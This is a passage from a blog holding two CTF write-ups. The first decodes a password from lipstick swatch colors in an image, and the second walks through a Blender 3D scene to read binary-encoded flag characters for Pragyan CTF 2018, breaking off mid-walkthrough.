<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiksPwGaavNcYyo0DyF6bPkoxO73gbIcGmJj8QPSz5_HxhR7g2grxRKw-mT2_Q45Jx5oAsNmoXL0Yva4pKzrXuBS6wGsfElXeLTsyOrW7CmGnBAOCtpxE2MuNKJEeWjbBneb85Dt4sYyag/s1600/full-pallette.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="219" data-original-width="417" height="336" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiksPwGaavNcYyo0DyF6bPkoxO73gbIcGmJj8QPSz5_HxhR7g2grxRKw-mT2_Q45Jx5oAsNmoXL0Yva4pKzrXuBS6wGsfElXeLTsyOrW7CmGnBAOCtpxE2MuNKJEeWjbBneb85Dt4sYyag/s640/full-pallette.png" width="640" /></a></div>
<br />
The other interesting part here is that these colors have clear class names and distinct background colors. This is perfect for identifying colors in the challenge!<br />
<br />
Here's a small script which was used to scrape the colors from the palette:<br />
<br />
<pre>
a = {};
for (let i=0; i<59; ++i) {
a[$('.swatch_color')[i].style['background-color']] = $('.swatch_color')[i].title;
}
JSON.stringify(a, null, 2);
</pre>
<br />
This gives us a convenient JavaScript object we may query:
<br />
<br />
<pre>
{
"rgb(188, 11, 40)": "1 Le Rouge - Blood Red (Satin)",
"rgb(184, 52, 75)": "04 Rouge Vermillon - Raspberry Red (Satin)",
"rgb(221, 136, 133)": "06 Rose Bergamasque - Delicate Nude Pink (Satin)",
"rgb(207, 26, 119)": "7 Le Fuchsia - Pure Saturated Fuschia (Satin)",
"rgb(206, 135, 133)": "10 Beige Tribute - Dark Nude (Satin)",
"rgb(194, 105, 111)": "11 Rose Carnation - Soft Peony Rose (Satin)",
"rgb(213, 29, 55)": "13 Le Orange - Bright Orange (Satin)",
"rgb(234, 94, 107)": "17 Rose Dahlia - Coral Orange (Satin)",
"rgb(161, 24, 96)": "19 Fuchsia Pink - Bright Fuschia Pink (Satin)",
"rgb(238, 133, 199)": "22 Pink Celebration - Bubble Gum Pink (Satin)",
"rgb(235, 130, 98)": "23 Coral Poetique - Pink Coral (Satin)",
"rgb(233, 152, 131)": "24 Blond Ingenu - Frosted Coral (Satin)",
"rgb(218, 116, 155)": "26 Rose Libertin - Bright Purple Pink (Satin)",
"rgb(208, 65, 121)": "27 Fuchsia Innocent - Hot Pink (Satin)",
"rgb(235, 105, 92)": "36 Corail Legende - Orange Coral (Satin)",
"rgb(202, 102, 174)": "49 Tropical Pink - Hot Pink (Satin)",
"rgb(212, 18, 29)": "50 Rouge Neon - Bright Red (Satin)",
"rgb(235, 85, 71)": "51 Corail Urbain - Medium Peach Orange (Satin)",
"rgb(246, 98, 96)": "52 Rosy Coral - Rosy Coral (Satin)",
"rgb(126, 69, 58)": "53 Beige Promenade - Browd Red (Satin)",
"rgb(94, 35, 41)": "54 Prune Avenue - Dark Maroon (Satin)",
"rgb(193, 9, 43)": "56 Orange Indie - Mauve (Satin)",
"rgb(192, 8, 62)": "57 Luminous Pink - Magenta (Satin)",
"rgb(165, 63, 103)": "58 Luminous Mauve - Bubblegum Pink (Satin)",
"rgb(212, 122, 111)": "59 Golden Melon - Golden Orange (Satin)",
"rgb(170, 64, 64)": "66 Rosewood - Soft Pink Nude (Satin)",
"rgb(220, 53, 77)": "67 Rouge Heroine - Gold Metallic (Satin)",
"rgb(203, 132, 123)": "70 Le Nu - Basic Nude (Satin)",
"rgb(148, 23, 41)": "72 Rouge Vinyle - Deep Raspberry (Satin)",
"rgb(215, 11, 22)": "73 Rhythm Red - Magenta Pink (Satin)",
"rgb(229, 35, 23)": "74 Orange Electro - Electric Orange (Satin)",
"rgb(183, 48, 62)": "75 Rose Mix - Deep Rose (Satin)",
"rgb(209, 50, 116)": "76 Explicit Pink - Spring Pink (Satin)",
"rgb(206, 10, 74)": "77 Fuschia Live - Blush Rose (Satin)",
"rgb(161, 0, 6)": "201 Orange Imagine - Orange Red (Matte)",
"rgb(161, 0, 52)": "202 Rose Crazy - Cranberry Red (Matte)",
"rgb(167, 11, 35)": "203 Rouge Rock - Rich Red (Matte)",
"rgb(131, 35, 37)": "204 Rouge Scandal - Maroon Red (Matte)",
"rgb(97, 37, 29)": "206 Grenat Satisfaction - Brown Red (Matte)",
"rgb(184, 20, 70)": "208 Fuchsia Fetiche - Raspberry Red (Matte)",
"rgb(231, 51, 37)": "213 Orange Seventies - Orange with Brown undertones (Matte)",
"rgb(215, 91, 89)": "214 Wood On Fire - Pinky Nude (Matte)",
"rgb(184, 38, 59)": "216 Red Clash - Mauvey Red (Matte)",
"rgb(201, 88, 108)": "217 Nude Trouble - Mauvey Beige (Matte)",
"rgb(203, 93, 70)": "218 Coral Remix - Coral Nude (Matte)",
"rgb(195, 1, 9)": "219 Rouge Tatouage – Vibrant Pink Red (Matte)",
"rgb(230, 26, 1)": "220 Crazy Tangerine – Electric Orange (Matte)",
"rgb(106, 19, 25)": "222 Black Red Code – Rust Red (Matte)",
"rgb(51, 26, 19)": "225 - Minimal Black - Matte Finish - Black (Matte)",
"rgb(165, 106, 92)": "340 Golden Copper - Reddish Pink (Satin)",
"rgb(163, 77, 86)": "09 Rose Stiletto - Rich Berry Rose (Satin)",
"rgb(92, 47, 44)": "205 Prune Virgin - Burgundy (Matte)",
"rgb(174, 67, 95)": "207 Rose Perfecto - Blush Pink (Matte)",
"rgb(226, 0, 74)": "211 Decadent Pink - Bright Pink (Matte)",
"rgb(126, 32, 50)": "212 Alternative Plum - Burgundy Wine (Matte)",
"rgb(207, 44, 125)": "215 Lust For Pink - Purple Bubblegum Pink (Matte)",
"rgb(214, 0, 112)": "221 Rose Ink – Deep Mauve Pink (Matte)",
"rgb(232, 11, 44)": "223 Corail Anti-Mainstream – Neon Coral (Matte)",
"rgb(219, 90, 121)": "224 Rose Illicite – Creamy Dusty Pink (Matte)"
}
</pre>
<br />
We can now query this based on values found inside the image. But how do we get those values in the image? At first trying macOS's digital color picker didn't work too well, instead let's use Python!
<br />
<br />
<pre>
from PIL import Image
im = Image.open('603fda27-2893-4e60-9d9f-39962b8c8440.png')
rgb_im = im.convert('RGB')
for x in range(0, 21):
r, g, b = rgb_im.getpixel((50 + (150 * x), 1))
print(r, g, b)
</pre>
<br />
This yields:
<br />
<br />
<pre>
(188, 11, 40)
(208, 65, 121)
(212, 122, 111)
(194, 105, 111)
(235, 130, 98)
(207, 26, 119)
(192, 8, 62)
(188, 11, 40)
(188, 11, 40)
(209, 50, 116)
(106, 19, 25)
(188, 11, 40)
(188, 11, 40)
(212, 18, 29)
(215, 91, 89)
(221, 136, 133)
(206, 10, 74)
(212, 18, 29)
(126, 69, 58)
(215, 91, 89)
(221, 136, 133)
</pre>
<br />
Now we can grep for each color in the JSON result, and produce integer values for each color's associated edition number:
<br />
<br />
<pre>
$ IFS=$'\n'; for i in `cat image-colors` ; do grep $i ./lipsticks.json >> found; done
$ cat found | sed 's/.*: "//g;s/ .*//;s/^0*//'
1
27
59
11
23
7
57
1
1
76
222
1
1
50
214
6
77
50
53
214
6
$ cat found | sed 's/.*: "//g;s/ .*//;s/^0*//' | tr -d '\n'
1275911237571176222115021467750532146
</pre>
<br />
Attempting this number didn't work for the password. Another hint came out about using binary, let's try with that:
<br />
<br />
<pre>
$ cat found | cut -d: -f1 | xargs python -c 'import sys; print "".join([bin(int(x)).lstrip("0b") for x in sys.argv[1:]])'
1011111101011111001011100010101000101100011010100101010111001000111001010101101011100
</pre>
<br />
Still doesn't work. Maybe we need to convert this to the character representation:
<br />
<br />
<pre>
$ cat found | sed 's/.*: "//g;s/ .*//;s/^0*//' | xargs python -c 'import sys; print "".join([bin(int(x)).lstrip("0b") for x in sys.argv[1:]])' | perl -lpe '$_=pack"B*",$_'
白学家
</pre>
<br />
Then extracting the archive we scraped earlier using this password, we get the flag:
<br />
<br />
<pre>
$ cat flag.txt
flag{White_Album_is_Really_worth_watching_on_White_Valentine's_Day}
</pre>
</div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-85557917534070649622018-03-06T01:22:00.000-08:002018-03-06T17:15:31.370-08:00Pragyan CTF 2018 - INTO THE NEXT DIMENSION (250)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJjn-ebeIUpYcLAEAH46R1yJ36JsiOy2STMCtHBQiqD14asuwhu0qCHRy17wugLhw0CMQiFo_iKlU841-5cSCegiy8ukKBWT9zak-I_c-EPh1R88qKwZ7hLEx82eyuUP1NGAXuXVlNscg/s1600/blender.png" imageanchor="1"><img border="0" data-original-height="284" data-original-width="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJjn-ebeIUpYcLAEAH46R1yJ36JsiOy2STMCtHBQiqD14asuwhu0qCHRy17wugLhw0CMQiFo_iKlU841-5cSCegiy8ukKBWT9zak-I_c-EPh1R88qKwZ7hLEx82eyuUP1NGAXuXVlNscg/s1600/blender.png" /></a>
</div>
<div style="text-align: center;">
<br /></div>
This was a very interesting challenge, had a lot of fun stepping through it.
<br />
First checking the file format, it looks like we have an FBX file exported from Blender:
<br />
<br />
<pre>$ strings -n 40 way_out.obj
Blender (stable FBX IO) - 2.79 (sub 0) - 3.7.13R
Blender (stable FBX IO) - 2.79 (sub 0) - 3.7.13
</pre>
<br />
Blender is free open-source 3D software, grab a copy here - <a href="https://www.blender.org/">https://www.blender.org/</a>
<br />
This was the challenge description:<br />
<br />
<pre>Alice is stuck in a two-dimensional world and somehow needs to escape into reality, our three-dimensional world. In order to do so, she must crack a code hidden inside a file(named 'way_out.obj'). The only clues the two-dimensional Gods have given her is this:
clue_begin
0 - P(100, -5, 321), R(0, 90, 0) => pctf{
1 - P(-50, -33, 77), R(90, 0, 0)
2 - P(123, -5, 68), R(60, 30, 0)
3 - P(-89, 90, 0), R(34, 23, 32)
4 - P(-39, 40, 40), R(44, 55, 66)
P(111, 222, 333)
5-10 - Ears, eyes, nose and mouth
11 - Inside the key => 3}
You will never find a way out without colors.
clue_end
Help Alice get back to reality and hence find the flag. Good luck (Y).
</pre>
<br />
<br />
Without opening the file yet, the clues look like 3D coordinates which may provide parts of the flag.
<br />
The vague "Ears, eyes, nose and mouth" clue is worrisome, but we'll get to that later.<br />
<br />
Opening Blender we get a cube in the middle of the scene:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMi-UJLOxdzAskVGsMKn88tDpJMvUiboxlyH_tWqCCfPbU2dol1L-iMginjwclXjsX6TBc27zATnU3pl8J3hjQnZKC0o02q5J8VEhBP_yDmOnQAIjzi5Am4TirmUxbi5ueDb5w_OrJ2jw/s1600/scene-init.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="849" data-original-width="1436" height="378" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMi-UJLOxdzAskVGsMKn88tDpJMvUiboxlyH_tWqCCfPbU2dol1L-iMginjwclXjsX6TBc27zATnU3pl8J3hjQnZKC0o02q5J8VEhBP_yDmOnQAIjzi5Am4TirmUxbi5ueDb5w_OrJ2jw/s640/scene-init.png" width="640" /></a></div>
<br />
First we need to rename the way_out.obj to way_out.fbx for Blender to recognize it.<br />
Deleting this cube and going to File > Import > FBX (.fbx) we can import our way_out.fbx file.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN-_TGZiWOxCpKrirIXnC5fbY2RA4F9xGNo_Jy3s4s7UrzzHr6OuLkcAw4JUT5MmG6aXjEbqxMTDgEvW0VBUlKPqdVUI2hyZ3WamcTWnEdE3W8iztfyP7-I3o2HJ-BJAcNr-2I5CI7s8Y/s1600/objects.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="518" data-original-width="1056" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN-_TGZiWOxCpKrirIXnC5fbY2RA4F9xGNo_Jy3s4s7UrzzHr6OuLkcAw4JUT5MmG6aXjEbqxMTDgEvW0VBUlKPqdVUI2hyZ3WamcTWnEdE3W8iztfyP7-I3o2HJ-BJAcNr-2I5CI7s8Y/s640/objects.png" width="640" /></a></div>
<br />
It looks like we have some nodes entering the scene including multiple Objects, Clues and a Key.<br />
<br />
If we press the z key, it will turn off shading and go into wireframe mode. We can zoom into see the first clue within the Key object:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4aaxZL7DjFAJt8yYxHFdZ33-oeWURd50eAqpUr9fFpGKj6sVntmGqUzIi1y3tgcC_qmrAOFoSB6p7J1ywjtcvK0Zm0KmYxkT1kIf2Dg1pJOFKWRuCSzz6kqqs4VzVCxim2IN64Q7twcU/s1600/key-clue.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="441" data-original-width="770" height="366" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4aaxZL7DjFAJt8yYxHFdZ33-oeWURd50eAqpUr9fFpGKj6sVntmGqUzIi1y3tgcC_qmrAOFoSB6p7J1ywjtcvK0Zm0KmYxkT1kIf2Dg1pJOFKWRuCSzz6kqqs4VzVCxim2IN64Q7twcU/s640/key-clue.png" width="640" /></a></div>
<br />
Converting this to ASCII is simple with some python:<br />
<br />
<pre>$ python
>>> chr(0b00110011) + chr(0b01111101)
'3}'
</pre>
<br />
Looking back at the challenge description, we see 'Inside the key => 3}', which is now validated.<br />
In the distance we can also see that cone includes some clues in it as well.<br />
<br />
<br />
Now we have a bunch of coordinates in the description, we need to get around in this scene somehow.
<br />
We'll use the camera for that, if we zoom back out we can see the camera object to select:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8Jwwvb9sCS18W5htqK8n1RTboaPeDM1pbopd8r3GUNRexeZG1WzEUfGAlqA2wbpUqx19uqLdYpxY8sL1Vgx-SvgRm0odWVKKJm5UPr4S5-FcyHflkpEMwduwTy4w4D5Mg3Db5p6UEa3c/s1600/camera.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="285" data-original-width="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8Jwwvb9sCS18W5htqK8n1RTboaPeDM1pbopd8r3GUNRexeZG1WzEUfGAlqA2wbpUqx19uqLdYpxY8sL1Vgx-SvgRm0odWVKKJm5UPr4S5-FcyHflkpEMwduwTy4w4D5Mg3Db5p6UEa3c/s1600/camera.png" /></a></div>
<br />
With the camera selected, we can enable the Objects panel in the bottom right section of the UI:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvYKifDfrKafOxMHGpvtW2c9bVfqC3IFQNC69GeeOeCc52itZYysbp9NrcTY5cw69wxsj82ccpWC1zcPmHL2LVMtmZ5M3sNiUQvFawFRbtFlr_jUdQq2_-fnCYTG3dLYxyd0JoWIVcMiY/s1600/objects-panel.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="421" data-original-width="344" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvYKifDfrKafOxMHGpvtW2c9bVfqC3IFQNC69GeeOeCc52itZYysbp9NrcTY5cw69wxsj82ccpWC1zcPmHL2LVMtmZ5M3sNiUQvFawFRbtFlr_jUdQq2_-fnCYTG3dLYxyd0JoWIVcMiY/s320/objects-panel.png" width="261" /></a></div>
<br />
This will allow us to transform the camera and move around the scene with ease.<br />
We'll have to enable the camera by going to the bottom right View > Camera menu item.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio6SGYa9khU6qefO5niDUwLktshNpzoXOfkL04goaEysgyKC-xtzT19qUSg41nR9F1399ubV9Jv64A0r7ncB8ueo2hKOR31P-eAC_l0yhL7sfqWkR8n3w4LAZB1eo1JgWc5nPrnjPY9n4/s1600/camera-view.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="256" data-original-width="318" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio6SGYa9khU6qefO5niDUwLktshNpzoXOfkL04goaEysgyKC-xtzT19qUSg41nR9F1399ubV9Jv64A0r7ncB8ueo2hKOR31P-eAC_l0yhL7sfqWkR8n3w4LAZB1eo1JgWc5nPrnjPY9n4/s1600/camera-view.png" /></a></div>
<br />
<br />
Right now we'll want to enable shading again by hitting the 'z' key (this will become important soon) so we can see material colors.<br />
<br />
Let's visit the first coordinate listed in the clues:<br />
<br />
<pre>0 - P(100, -5, 321), R(0, 90, 0) => pctf{
</pre>
<div>
<br /></div>
To do this, we'll enter these coordinates in the Location & Rotation fields of the Object Panel:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOtUrDd8yceoC-pa5KgRNVx-ZkWrX_YgnD4WrN_9TA7mqHSdspDPmYKdnCZZ8IOR8XMxgXLZpSQidPKStx7esOwj02Hf8Wr3eVRtAEbjnfR7xf12pJhqlhz4ie-uCRMTD3hLTVoTZjcD8/s1600/coords-entered.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="365" data-original-width="340" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOtUrDd8yceoC-pa5KgRNVx-ZkWrX_YgnD4WrN_9TA7mqHSdspDPmYKdnCZZ8IOR8XMxgXLZpSQidPKStx7esOwj02Hf8Wr3eVRtAEbjnfR7xf12pJhqlhz4ie-uCRMTD3hLTVoTZjcD8/s320/coords-entered.png" width="298" /></a></div>
<br />
We get this..... Not too useful....<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpRRYz_G45PaIKN-Re7Dpb39ySg423azKM72uO3FAS-3D5ErodDhrRWoEUsS8bp3wMOFncyh_h4fbhBrqRO1Vmbj6TV7kK5DTOtcpKjFcydzqKmbpZWomOZSb_l1z1YJg2l_RxTLfGeWc/s1600/explicit-imagery.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="371" data-original-width="387" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpRRYz_G45PaIKN-Re7Dpb39ySg423azKM72uO3FAS-3D5ErodDhrRWoEUsS8bp3wMOFncyh_h4fbhBrqRO1Vmbj6TV7kK5DTOtcpKjFcydzqKmbpZWomOZSb_l1z1YJg2l_RxTLfGeWc/s320/explicit-imagery.png" width="320" /></a></div>
<br />
If we zoom out slightly we see our first green value P(101.37,-5.31,320.99002), R(69,90,-1.6):<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf3TBSZ0lfC0w8WKguFI6BRzCEeTuO5GN_z6TpjQoO1W_QIXut5cPzGM9NlD4soAI0txus-tiPgBVBAWWJTbondSlhO9K4KEg4G5wdyIjR4pQCJPWYib1cLYHErZFKBhHCeKQp3xZcdfY/s1600/0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="517" data-original-width="566" height="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf3TBSZ0lfC0w8WKguFI6BRzCEeTuO5GN_z6TpjQoO1W_QIXut5cPzGM9NlD4soAI0txus-tiPgBVBAWWJTbondSlhO9K4KEg4G5wdyIjR4pQCJPWYib1cLYHErZFKBhHCeKQp3xZcdfY/s320/0.png" width="320" /></a></div>
<br />
<br />
As the clue above hints at this also decodes to 'pctf{'. Great! We're getting somewhere!<br />
<br />
It's also worth noting at this point, the red values do not decode correctly to printable characters.<br />
The hint mentions "You will never find a way out without colors." which in this context means - green = good; red = ignore.<br />
<br />
Next we'll go to #1, entering the coords we land inside a cube with a single character inside the clipping plane (for the remainder of challenges we'll use this plane as a boundary guide):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghe7u9FtRTgmYR3XEUkzmKHxU0EA-cDlipoMTaw3IWBJXBIhOQ78TTAavp1uJ0bE4VeKKTQlmP6WztV2hL8_49R6qk4KHq-H4PLqV4fVfMOULGIzAtDqL9SOA1-GnYSoMY0fiMpiuD0jU/s1600/1-cube.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="465" data-original-width="561" height="530" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghe7u9FtRTgmYR3XEUkzmKHxU0EA-cDlipoMTaw3IWBJXBIhOQ78TTAavp1uJ0bE4VeKKTQlmP6WztV2hL8_49R6qk4KHq-H4PLqV4fVfMOULGIzAtDqL9SOA1-GnYSoMY0fiMpiuD0jU/s640/1-cube.png" width="640" /></a></div>
<br />
This decodes to '3'.<br />
<br />
On the next one we have to zoom in a little (mouse wheel), also includes a red herring:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiJGBoyBbooZkiuEtPAeFhaZgV4a7chXFfJr2OhJ_nj6s2w0X5usCo6y0N1Q_jhoNKv-gP1YbKlLFD81DJBDhQai_79tqUMhjOqTscG8xeuvnbs540LRXn95bbR8TGxPHI26MqLb5BPvs/s1600/2-red-herring.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="464" data-original-width="785" height="378" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiJGBoyBbooZkiuEtPAeFhaZgV4a7chXFfJr2OhJ_nj6s2w0X5usCo6y0N1Q_jhoNKv-gP1YbKlLFD81DJBDhQai_79tqUMhjOqTscG8xeuvnbs540LRXn95bbR8TGxPHI26MqLb5BPvs/s640/2-red-herring.png" width="640" /></a></div>
<br />
This decodes to 'd'. Hey! we got 3d, maybe the flag spells something ; )<br />
<br />
For #3, this was another where the camera is out of view because it landed right on top of the bits:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtdaCXuklxk4xovZczMW9f9jThKng0JOidxwgUNXSpLGTFQIe1iTCSmv_3oMIubIkMTJMoO_cHPNdYVj6InAOSBYdiA_UEvSnPxIJ_DkIQ_8_KGuWyoZrDQ2lANtB1s0nyjkIKTs5wpuI/s1600/camera-f.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="467" data-original-width="510" height="365" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtdaCXuklxk4xovZczMW9f9jThKng0JOidxwgUNXSpLGTFQIe1iTCSmv_3oMIubIkMTJMoO_cHPNdYVj6InAOSBYdiA_UEvSnPxIJ_DkIQ_8_KGuWyoZrDQ2lANtB1s0nyjkIKTs5wpuI/s400/camera-f.png" width="400" /></a></div>
<br />
This is '>'.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoAvfJBblddL82-791CaO-KwUUkKGABwBYDrcwrksBrBkZQWLlCL9rusourSJytBQjQZUZmyAXE_2Bxt7o5sLw33Kexoa6UtFrRVKgKmt2_xxk1Kpem9E4-_E57ZTT4o67Grp4NxPe3kI/s1600/between-the-bits.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="586" data-original-width="719" height="325" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoAvfJBblddL82-791CaO-KwUUkKGABwBYDrcwrksBrBkZQWLlCL9rusourSJytBQjQZUZmyAXE_2Bxt7o5sLw33Kexoa6UtFrRVKgKmt2_xxk1Kpem9E4-_E57ZTT4o67Grp4NxPe3kI/s400/between-the-bits.png" width="400" /></a></div>
<br />
With #4 we're placed between two objects, we need to zoom out slightly to check the green bits:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoFn6rbE7TllMRKTvAzfm3R8wCBoKzimnUegYRnkcSgzWWNTuZ0ORpYEmmTQ_tzZGxykPAjytltlRy1KCC_8qznQfGzybWIl8gmNePkufkdFJgZUCPiPDYXjFgJ1wEPWVyTJTKjHWhjjQ/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="426" data-original-width="706" height="241" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoFn6rbE7TllMRKTvAzfm3R8wCBoKzimnUegYRnkcSgzWWNTuZ0ORpYEmmTQ_tzZGxykPAjytltlRy1KCC_8qznQfGzybWIl8gmNePkufkdFJgZUCPiPDYXjFgJ1wEPWVyTJTKjHWhjjQ/s400/4.png" width="400" /></a></div>
<br />
This is '2'.<br />
<br />
Now we're at the dreaded monkey! From the clues with vague descriptions:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6o_zOxn5qHob1JCKuZVGoWl1gY1g-PcQy4TvjkFKh41StrGjVNfA7OuK34LOxa9d0ZwZiFuCNwe1aOKzV758naSEsN5bA_bp-WnM0xJ2lLa8yxNuuTkXU6qr37PFYmCElAkFj3b43zM8/s1600/monkey.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="663" data-original-width="816" height="520" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6o_zOxn5qHob1JCKuZVGoWl1gY1g-PcQy4TvjkFKh41StrGjVNfA7OuK34LOxa9d0ZwZiFuCNwe1aOKzV758naSEsN5bA_bp-WnM0xJ2lLa8yxNuuTkXU6qr37PFYmCElAkFj3b43zM8/s640/monkey.png" width="640" /></a></div>
<br />
Going into wireframe mode ('z') and clicking the clues in the object list we see where they are:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJGzUlFP4tbZefvfQSGnLi4rMrlwZx9LGoOnh7t4WNzkJrlJfTypXFYtcOtUs2_SqNm7UeO5xcyynbAASIYQDtzfcRjjTKMyQKiY6SJkkE4d_AYRNPfs0QL0PUTGt-C8xkidBh_jKUIrA/s1600/monkey-clues.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="643" data-original-width="823" height="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJGzUlFP4tbZefvfQSGnLi4rMrlwZx9LGoOnh7t4WNzkJrlJfTypXFYtcOtUs2_SqNm7UeO5xcyynbAASIYQDtzfcRjjTKMyQKiY6SJkkE4d_AYRNPfs0QL0PUTGt-C8xkidBh_jKUIrA/s640/monkey-clues.png" width="640" /></a></div>
<br />
<br />
If you press spacebar, type separate, enter > by material, we'll be able to split these meshes into groups based on red & green, this could help soon. We can also select the monkey and separate 'by loose parts' so we can select the head and use focus to work on that object alone.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSGOxm0odrRdSBv_7ZkZER8x4mfdzWtuvhSH0JH-JPGKjpncDEmBR733aKgo6Jk5EDSPYWAipRr6gE-EmB8m8z6BZ4Q5ZLeB15AiTnjlVUIPMmLAdUeWHvxDfvZrnoNMpV1ZyZj-i0VEc/s1600/separate.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="78" data-original-width="324" height="77" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSGOxm0odrRdSBv_7ZkZER8x4mfdzWtuvhSH0JH-JPGKjpncDEmBR733aKgo6Jk5EDSPYWAipRr6gE-EmB8m8z6BZ4Q5ZLeB15AiTnjlVUIPMmLAdUeWHvxDfvZrnoNMpV1ZyZj-i0VEc/s320/separate.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSezRIATioRb6H6uPNIwRtK8igRhkg-9VBJkWjlkNWIDopu1PDEUBpUgT46bV8__-Mwn2mI4roEscvrCz-Ev6ZxsXqyDPaSvwXFFWNOlWTP8HaEXj0HRySnEdFryZRDZHpkWHMLunqug4/s1600/by-material.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="110" data-original-width="123" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSezRIATioRb6H6uPNIwRtK8igRhkg-9VBJkWjlkNWIDopu1PDEUBpUgT46bV8__-Mwn2mI4roEscvrCz-Ev6ZxsXqyDPaSvwXFFWNOlWTP8HaEXj0HRySnEdFryZRDZHpkWHMLunqug4/s1600/by-material.png" /></a></div>
<br />
<br />
We can also press the 'h' key on the monkey mesh to hide it while we work with the bits, that may also help.<br />
<br />
The rest will be abbreviated. We'll just need to travel from right to left for each entity copying the green values:<br />
<br />
